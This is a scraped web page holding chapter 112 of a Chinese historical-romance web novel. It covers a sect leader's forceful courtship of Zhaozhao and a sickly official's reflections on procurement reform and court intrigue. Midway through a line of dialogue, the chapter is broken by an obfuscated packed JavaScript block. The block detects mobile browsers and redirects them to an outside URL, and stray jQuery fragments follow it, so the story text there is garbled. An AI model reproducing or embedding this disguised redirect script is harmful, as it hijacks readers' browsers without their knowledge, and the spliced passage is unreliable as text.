默认冷灰
24号文字
方正启体

112.心机蛊惑

作者:乐樵本书字数:K更新时间:
    青衣门。


    门帘一掀,昭昭笑意盈盈地跨进门槛,眼底还带着得逞后的一点狡黠笑意。玉衡说上官云湛今日被小医仙拖去泡温泉了,今儿可算没人扰她清净用膳了。


    以防万一,她还特意点了那道上官云湛最讨厌的醋鱼,他闻不得那股土腥味,桌上若有这道菜,他便不肯上桌。


    也不知是不是自己的错觉,昭昭总觉得自从那日她偷吻了上官云湛后,门主总是有意无意地出现在她面前,无处不在。


    老实说,昭昭每次想起当时的窘迫,便对那天的见色起意十分后悔。


    迷迷糊糊中好像,将他看成了记忆深处某个谁……


    一进门,目光刚落定,昭昭的笑意便凝在了唇边。


    上官云湛坐在靠窗的老位置,一双眼睛若有所思地望过来,他倒是自在,手边茶还冒着热气,也不知来了多久。


    昭昭脚下一顿,只装作没瞧见,转身便想走。身后却传来茶盏搁落的轻响,他的声音清冽,带着几分落寞和自嘲:“我便这般丑陋讨人厌吗?刚见到我就要走。”


    昭昭步子顿了顿,脸上烧得厉害,几步挪回厅中,在他对面坐下。“门主这是哪里的话,刚刚是想起厨房有新酿的果子酒,配着今天的醋鱼正好,正好取了来尝。”桌上摆着的,全是她素日爱吃的,一样不差。


    上官云湛笑了一下,没接话,只把茶盏往她手边推了推,“今天风大,先喝杯热茶暖暖身子。”


    昭昭坐下没动。


    “怎么?”他夹起一枚笋尖放入她碗中,声音带着一丝若有似无的醋意,“可是在淮安王府住久了,尝惯了皇宫里的山珍海味,咽不下我这青衣门的粗茶淡饭了?”


    昭昭心中警铃大作,立刻摇头否认,低头扒饭,耳根微烫。


    扒了几筷子,“我吃饱了……”昭昭起身想走,上官云湛却更快一步拦在她身前,指尖微凉拂过她发烫的耳垂。“昭昭,”他垂眸,长长的睫毛在眼下投下一小片阴影,声音低柔得近乎蛊惑,“你亲了我,这么快就想始乱终弃?”他抬起眼,目光直直望进她眼底,“你……可是真心喜欢我?还是一时意乱情迷把我当成了……旁人?”


    昭昭自知理亏不敢抬头瞧他,上官云湛倏然捏住她下颌,声音凶狠带着点不稳,“所以,你是真的把我当成他的替身?”


    “我……”昭昭试探着后退,却被不容抗拒地吻了上来。上官云湛俯身的亲吻带着清冽的酒意,唇齿厮磨间,低哑的嗓音极尽蛊惑:“我不信我比他差在哪里?”


    昭昭挣扎的呜咽渐弱,被上官云湛刻意引导的欢愉蒙蔽了神智,“他生得真好快,”她脑海中意外冒出莫名的想法,抗拒的动作停下来,有些沉溺于这危险的甘美。


    一吻方歇,上官云湛眼底的欲色尚未褪尽,却已化作一片珍而重之的慎重。


    “你喜欢我?对不对?”上官云湛执起她的手,将一枚触手生温、雕刻繁复的古玉稳稳放入她掌心,指尖强势地拢合她的手指,包裹住那微凉的玉璧:“这是上官氏当家主母的信物,我想送给你。” 他语气温柔,却带着不容置喙的坚定。


    昭昭指尖微颤,看着掌心那枚沉甸甸的信物,心头乱成一团麻:“这……太贵重了,我不想……” 话未说完,上官云湛再次重新贴上她的唇,“昭昭你听听,你的心跳得好快……”


    “还是说,你对我只是一时新鲜,只是意乱神迷时的逢场作戏?”他抚过她耳畔,声音带着寒意。


    昭昭心尖猛地一缩,生出一种莫名的害怕,她自失忆后便与上官云湛形影不离,她害怕与他分开,昭昭几乎是本能地攥紧了手心,将那枚古玉死死护住。“……我不是这个意思了。”顿了顿,又飞快地补充了一句,像是要赶紧平息这场风暴:“……:我应了。”


    淮安王府,夜已深,已经是初春的季节,窗外春风和煦,屋内却还放着火盆取暖。薛景珩披着厚重的大氅,握笔的手指修长却失了几分血色。


    案上摊开的奏折墨迹犹新,字里行间锋芒毕露,直指工部物料采买的积弊,奏折主张彻底革除旧有规制,颁行全新法度。今后各地所需物料,统一由朝廷选派专员前往采买调配,不再经由地方官吏经手,以此从根源上杜绝各级官员从中插手、徇私贪墨之弊。


    薛景珩低低咳了一声,胸腔里传来沉闷的嗡鸣。他提笔蘸墨,落下批注:“少年锐气可嘉,然未察实务之难,所拟之策,难合时宜。”


    “……采买物料,绝非银货两讫那般简单,牵涉地方诸多环节。临安官员未必能察州县实情,而地方所需千差万别。譬如一方急用物材,待中枢派人统一购置,则事多迟缓;不若予地方零星采买之权,随需购置,方合实际……”


    “……若中枢强令沿河州县限期上交足量木材,不管当地有无出产、民力是否堪负,则州县为免责罚,必定加倍摊派,甚至拆屋取梁、用劣材充数!反而会致使民怨沸腾,工期拖延,耗费倍增却得次品。务实之策,是允许地方紧急情况下有权力酌情自采,以本地合用材料应急,不必求全求优,确保工程不误、稳定民生。”


    薛景珩的笔尖在“稳定民生”处稍顿,墨迹微洇。“咳咳嗽”,他病体未愈,身体是遮不住的久病初愈的虚乏。


    “景珩!”一旁的路遥忍不住上前一步,声音里满是担忧,“夜深了,你这身子……实在不宜再耗神。蒋砚不过一介寒门出身的平民举子,其策论纵有几分才气,也未必值得你如此劳心劳力地教导……” 路遥的话咽下后半句——此人出身微贱,根基浅薄,初入临安城的朝局中,心性如何尚未可知。


    薛景珩搁下笔,指尖按了按隐隐作痛的额角,目光却未曾离开那奏折,“平民出身……又如何?”他声音低沉沙哑,带着病中特有的倦怠,却有种不容置疑的坚定,“朝廷取士,岂能只看出身门楣?蒋砚此人虽然浸润朝堂未久,阅历尚浅,但是心怀赤诚,而且少者不拘成法,敢思敢为,其锐气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324492|188073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正是朝堂暮气沉沉之下所缺。”


    他顿了顿,烛光倒映在他深不见底的眸子里,“至于你担心他心性不定……观其素日言行举止,虽然对京城繁华隐隐透出不平嫉恨。但是蒋砚家境贫寒,骤见浮华难免迷了眼,心旌摇荡亦是常情。若能引其入正途,将来必成大器。”薛景珩似乎颇为笃定,他素来疑人不用,用人不疑。


    路遥欲言又止,他跟随薛景珩多年,知晓他虽然出身薛氏大族,实际内心十分厌恶五姓十族的唯血统论,尤其对五姓十族子弟牢牢占据入仕之路并不满意,所以薛景珩近年来暗暗提拔不少寒门学子。


    想要打破氏族门阀垄断的局面,重用寒门子弟,便是最直接的办法。寒门子弟无背景靠山,一心凭才学立身,更能秉公任事,不结党营私,让真正有能者居其位。


    但是路遥对蒋砚这个人并不看好,他私下听闻蒋砚如今得了官职,也学着旁人开始享乐,用微薄的俸禄购置宅院、采买年轻侍女,只是蒋砚在薛景珩面前装得谦卑恭谨,满心畏惧。


    但是这倒也不是什么品行有亏的大事儿,算了别跟景珩提了。


    “还有件事,”路遥转开话题,犹豫着将从市井中誊抄出来的最新版本童谣交给薛景珩。


    薛景珩目光扫过,眼底划过一丝怒色。


    路遥继续道,“景珩,你觉不觉得这件事儿从头到尾透着古怪……不像是民间传唱出来,倒像是有人故意教唆的?”


    薛景珩缓缓站起身走到门外廊下,风吹起衣袖,满院寂静无声。他目光沉沉,缓缓开口,声音里透着压抑:“纵然有苏怀堂和摄政王在后背推波助澜又如何,毕竟是皇甫云州自己干的荒唐事!堂堂一个皇子竟然连赈灾的银子都要贪,才会被天下人戳着脊梁骨辱骂!”


    “皇甫云州一直就是这样的人,从来不曾改过……”薛景珩站在春色中,望着王府高墙,目光深远,神色不免难过,“前太子皇甫云睿清高骄傲,一心强推寒门入仕,丝毫不顾及五姓十族的面子和利益,才会被人暗中戕害,也为圣心不容……其余皇子中要么孱弱要么年幼,只余二皇子可选,我和薛家为他筹谋七载,扫清一切上位的路,没想到到头来他还是这般贪婪无情之人,丝毫没有将百姓疾苦放在心上……”


    薛景珩轻叹一声,仿佛要把心头那股不安随气吐出,却发现,那股寒意竟愈发沉了。这童谣、这悄然生变的临安城局势……像是一场看不见的风暴,在悄然汇聚。


    “路遥,你觉不觉得冥冥之中有一只手在搅弄临安城的风云,可是千丝万缕中总是欠缺一环,让我摸不到证据、看不清全貌……似乎有人故意在作弄我?”


    路遥摇了摇头,“或许是你最近太疲累了?今夜要不要就早些休息吧。”


    薛景珩叹了口气,“把这些奏折看完再说吧”,他还浑然不知,自己早已被人暗中参了一本。而奏折在天亮之前,已经悄悄送进了皇宫。


    而一切将会掀起一场多大的风暴。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)